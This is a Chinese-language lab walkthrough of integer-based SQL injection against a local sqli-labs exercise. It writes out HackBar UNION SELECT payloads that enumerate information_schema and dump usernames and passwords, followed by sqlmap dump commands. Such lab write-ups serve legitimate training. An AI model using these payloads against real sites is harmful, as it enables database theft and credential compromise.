hackbar
页面观察
基于intiger的注入
还是将id作为参数注入,注入id=1、2尝试一下
同样返回了username和password
判断注入点类型
注入id=1’,出现了报错
参数中输入’ 仍有报错提示,推测可能存在注入点,注入类型可能为"闭合的字符型或者整形
输入" (两个单引号)仍然存在报错排除"闭合的字符型注入,注入型为整型
判断数据库是否存在漏洞
注入id=1 and 1=2,为假回显为空
注入id=1 and 1=1,成功回显id=1的数据
说明在执行了id等于1的语句之后还会执行and的内容说明存在sql注入漏洞
判断字段数
?id=1 order by 4;--+
一次输入1、2、3…直到输入的为4时,就出现了报错
说明,在这个数据库中只有三个字段
判断回显位
?id=1 and 0 union select 1,2,3 --+
说明显示位是2,3,那么说明网页只能够显示第2、3列中信息,不能显示其他列的信息。
爆数据名
?id=1 and 0 union select 1,2,database() --+
爆数据表名
?id=1 and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆users表中的字段
?id=1 and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
爆数据库表中的所有数据
?id=1 and 0 union select 1,group_concat(concat_ws(':',id,username,password)),3 from users --+
欧克,又一次成功脱库了库里的数据
sqlmap
分析漏洞类型
sqlmap -u "http://0.0.0.0:8088/Less-2//?id=1" -batch
爆数据库
sqlmap -u "http://0.0.0.0:8088/Less-2//?id=1" -batch -dbs
爆数据库中的数据表
sqlmap -u "http://0.0.0.0:8088/Less-2//?id=1" -batch -D security --tables
爆数据表的字段
sqlmap -u "http://0.0.0.0:8088/Less-2//?id=1" -batch -T users --columns
爆数据库的所有内容
sqlmap -u "http://0.0.0.0:8088/Less-2//?id=1" -batch -D security -T users -C username,password -dump
这样就更快可以脱库了